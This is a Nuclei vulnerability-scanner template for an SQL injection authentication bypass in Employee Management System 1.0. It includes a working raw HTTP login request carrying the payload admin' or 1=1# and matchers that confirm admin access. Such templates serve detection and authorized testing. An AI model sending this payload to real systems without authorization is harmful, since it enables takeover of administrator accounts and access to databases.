nuclei-templates/http/vulnerabilities/other/ems-sqli.yaml

45 lines
1.3 KiB
YAML
Raw Normal View History

2022-07-21 07:09:06 +00:00
id: ems-sqli
info:
name: Employee Management System 1.0 - SQL Injection
2022-07-21 07:09:06 +00:00
author: arafatansari
severity: critical
2022-07-21 07:09:06 +00:00
description: |
Employee Management System 1.0 contains a SQL injection vulnerability via the username parameter. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
2022-07-21 07:09:06 +00:00
reference:
- https://www.exploit-db.com/exploits/48882
2022-07-30 06:46:47 +00:00
- https://www.sourcecodester.com/sites/default/files/download/razormist/employee-management-system.zip
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10.0
cwe-id: CWE-89
2022-07-30 06:46:47 +00:00
metadata:
max-request: 1
2022-07-30 06:46:47 +00:00
verified: true
tags: ems,sqli,cms,auth-bypass,edb
2022-07-21 07:09:06 +00:00
http:
2022-07-21 07:09:06 +00:00
- raw:
- |
POST /process/aprocess.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
2023-07-20 07:43:09 +00:00
mailuid=admin' or 1=1#&pwd={{rand_base(5)}}&login-submit=Login
2022-07-21 07:09:06 +00:00
host-redirects: true
2022-07-21 07:09:06 +00:00
max-redirects: 2
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'Admin Panel'
2022-07-30 06:46:47 +00:00
- 'Log Out'
2022-07-21 07:09:06 +00:00
- 'Employee Management System'
2022-07-30 06:46:47 +00:00
condition: and
2022-07-21 07:09:06 +00:00
- type: status
status:
- 200